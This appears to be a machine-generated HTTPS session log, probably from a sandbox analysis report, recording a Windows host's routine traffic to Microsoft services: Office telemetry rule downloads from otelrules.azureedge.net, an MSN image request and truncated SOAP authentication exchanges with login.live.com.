2024-11-23 00:14:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 724e3808-797d-4f1c-8a73-595bad51b983 PPServer: PPV: 30 H: SN1PEPF0002F0B3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:51 GMT Connection: close Content-Length: 1918
2024-11-23 00:14:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:52 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001453Z-178bfbc474bv7whqhC1NYC1fg400000003p000000000hdha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49933	13.107.246.63	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:52 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001453Z-174c587ffdfx984chC1TEB676g000000021g00000000pr0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:52 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001453Z-174c587ffdf8fcgwhC1TEBnn7000000002dg000000000kha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:52 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:53 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:53 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001453Z-15b8b599d88f9wfchC1TEBm2kc000000029000000000af94 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:53 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001453Z-178bfbc474b9xljthC1NYCtw9400000003qg000000001u8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49934	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:53 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:53 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=152702 Expires: Sun, 24 Nov 2024 18:39:55 GMT Date: Sat, 23 Nov 2024 00:14:53 GMT Connection: close
2024-11-23 00:14:53 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49935	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 00:14:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 17ffb377-6130-4c68-9790-4e0a94422ef6 PPServer: PPV: 30 H: PH1PEPF0001B8E4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:54 GMT Connection: close Content-Length: 1918
2024-11-23 00:14:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49936	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 00:14:54 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_SN1 x-ms-request-id: 02aa2813-a17d-4da8-b4da-5c922318e15e PPServer: PPV: 30 H: SN1PEPF0002F0EE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:55 GMT Connection: close Content-Length: 11409
2024-11-23 00:14:55 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:55 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001455Z-178bfbc474bbcwv4hC1NYCypys00000003dg00000000tz1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:55 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:55 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001455Z-15b8b599d88qw29phC1TEB5zag000000024g00000000b12t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
